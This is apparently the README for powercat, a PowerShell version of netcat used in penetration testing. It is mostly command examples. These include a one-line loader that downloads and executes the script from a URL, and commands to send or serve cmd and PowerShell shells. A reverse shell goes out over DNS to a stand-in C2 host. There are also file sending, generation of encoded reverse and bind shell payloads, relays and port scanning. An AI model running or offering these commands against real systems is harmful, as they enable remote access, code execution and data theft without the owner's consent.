powercat
========
Netcat: The powershell version. (Powershell Version 2 and Later Supported)

Installation
------------
powercat is a powershell function.  First you need to load the function before you can execute it.  You can put one of the below commands into your powershell profile so powercat is automatically loaded when powershell starts.
###
    Load The Function From Downloaded .ps1 File:
        . .\powercat.ps1
    Load The Function From URL:
        IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

### Parameters:
    -l      Listen for a connection.                             [Switch]
    -c      Connect to a listener.                               [String]
    -p      The port to connect to, or listen on.                [String]
    -e      Execute. (GAPING_SECURITY_HOLE)                      [String]
    -ep     Execute Powershell.                                  [Switch]
    -r      Relay. Format: "-r tcp:10.1.1.1:443"                 [String]
    -u      Transfer data over UDP.                              [Switch]
    -dns    Transfer data over dns (dnscat2).                    [String]
    -dnsft  DNS Failure Threshold.                               [int32]
    -t      Timeout option. Default: 60                          [int32]
    -i      Input: Filepath (string), byte array, or string.     [object]
    -o      Console Output Type: "Host", "Bytes", or "String"    [String]
    -of     Output File Path.                                    [String]
    -d      Disconnect after connecting.                         [Switch]
    -rep    Repeater. Restart after disconnecting.               [Switch]
    -g      Generate Payload.                                    [Switch]
    -ge     Generate Encoded Payload.                            [Switch]
    -h      Print the help message.                              [Switch]

Basic Connections
-----------------------------------
By default, powercat reads input from the console and writes input to the console using write-host. You can change the output type to 'Bytes', or 'String' with -o.
###
    Basic Client:
        powercat -c 10.1.1.1 -p 443
    Basic Listener:
        powercat -l -p 8000
    Basic Client, Output as Bytes:
        powercat -c 10.1.1.1 -p 443 -o Bytes

File Transfer
-------------
powercat can be used to transfer files back and forth using -i (Input) and -of (Output File).
###
    Send File:
        powercat -c 10.1.1.1 -p 443 -i C:\inputfile
    Recieve File:
        powercat -l -p 8000 -of C:\inputfile

Shells
------
powercat can be used to send and serve shells. Specify an executable to -e, or use -ep to execute powershell.
###
    Serve a cmd Shell:
        powercat -l -p 443 -e cmd
    Send a cmd Shell:
        powercat -c 10.1.1.1 -p 443 -e cmd
    Serve a shell which executes powershell commands:
        powercat -l -p 443 -ep

DNS and UDP
-----------
powercat supports more than sending data over TCP. Specify -u to enable UDP Mode. Data can also be sent to a [dnscat2 server](https://github.com/iagox86/dnscat2) with -dns. **Make sure to add "-e open --no-cache" when running the dnscat2 server.**
###
    Send Data Over UDP:
        powercat -c 10.1.1.1 -p 8000 -u
        powercat -l -p 8000 -u
    Connect to the c2.example.com dnscat2 server using the DNS server on 10.1.1.1:
        powercat -c 10.1.1.1 -p 53 -dns c2.example.com
    Send a shell to the c2.example.com dnscat2 server using the default DNS server in Windows:
        powercat -dns c2.example.com -e cmd

Relays
------
Relays in powercat work just like traditional netcat relays, but you don't have to create a file or start a second process. You can also relay data between connections of different protocols.
###
    TCP Listener to TCP Client Relay:
        powercat -l -p 8000 -r tcp:10.1.1.16:443
    TCP Listener to UDP Client Relay:
        powercat -l -p 8000 -r udp:10.1.1.16:53
    TCP Listener to DNS Client Relay
        powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
    TCP Listener to DNS Client Relay using the Windows Default DNS Server
        powercat -l -p 8000 -r dns:::c2.example.com
    TCP Client to Client Relay
        powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443
    TCP Listener to Listener Relay
        powercat -l -p 8000 -r tcp:9000

Generate Payloads
-----------------
Payloads which do a specific action can be generated using -g (Generate Payload) and -ge (Generate Encoded Payload). Encoded payloads can be executed with powershell -E. You can use these if you don't want to use all of powercat.
###
    Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
        powercat -c 10.1.1.15 -p 443 -e cmd -g
    Generate a bind tcp encoded command which listens on port 8000:
        powercat -l -p 8000 -e cmd -ge

Misc Usage
----------
powercat can also be used to perform portscans, and start persistent servers.
###
    Basic TCP Port Scanner:
        (21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d}
    Start A Persistent Server That Serves a File:
        powercat -l -p 443 -i C:\inputfile -rep